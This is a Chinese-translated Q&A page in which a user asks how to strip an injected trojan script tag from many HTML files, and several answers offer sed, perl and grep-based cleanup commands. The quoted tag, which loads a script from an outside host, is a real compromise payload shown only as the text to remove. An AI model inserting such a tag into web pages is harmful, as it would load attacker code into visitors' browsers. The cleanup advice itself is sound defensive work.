使用sed输出格式化查找时出现问题

时间:2010-07-01 14:54:48

标签: sed find grep exec

您好我正在尝试为客户清理js-trojan的网站,它补充道:

<script src='http://nt02.co.in/3'></script>到所有html页面。

由于手动清理的文件太多,我试图找到这样的:

find ./ -type f -exec sed -e "s\<script src='http://nt02.co.in/3'></script>\ \g" {} > {} \;

问题是你不能用sed输出到输入。 所以我尝试做了类似的事情:

find ./ -type f ! -iname "*.new" -exec sed -e "s\<script src='http://nt02.co.in/3'></script>\ \g" {} > {}.new \;

也不起作用,它输出一个名为“{} .new”...

的文件

有关如何做到这一点的任何提示?或者另一种解决方法如何清理它?

4 个答案:

答案 0 :(得分:1)

我认为你的事情比他们需要的更复杂。特别是,您希望使用-i标志,它允许您根据需要编辑文件。 你可能想要像

这样的东西
sed -i '/<script src='http:\/\/nt02.co.in\/3'><\/script>/ d' *.html

或者如果你感觉更舒服,可以使用脚本,例如

for f in "dir/*.html"  
do 
    sed -i '/<script src='http:\/\/nt02.co.in\/3'><\/script>/ d' $f  
done

请参阅http://www.cyberciti.biz/faq/unix-linux-replace-string-words-in-many-files/

答案 1 :(得分:0)

未测试:

find . -type f -print0 | xargs -0 perl -i.nt02 -pe "s#<script src='http://nt02.co.in/3'></script># #g"

答案 2 :(得分:0)

你可能不完全清楚@ user379118的答案,但-i标志(或--in-place)允许你用sed进行就地编辑,可选择允许你创建一个副本你去的原始文件,以防万一。

答案 3 :(得分:0)

感谢您的回答! 我确实喜欢这个:

while read f
do
    sed -i "s#<script src='http://nt02.co.in/3'></script># #g" "$f"
done < list

list是一个包含文件路径的文件,生成如下:

grep -irl "<script src='http://nt02.co.in/3'></script>" ./folder/ > list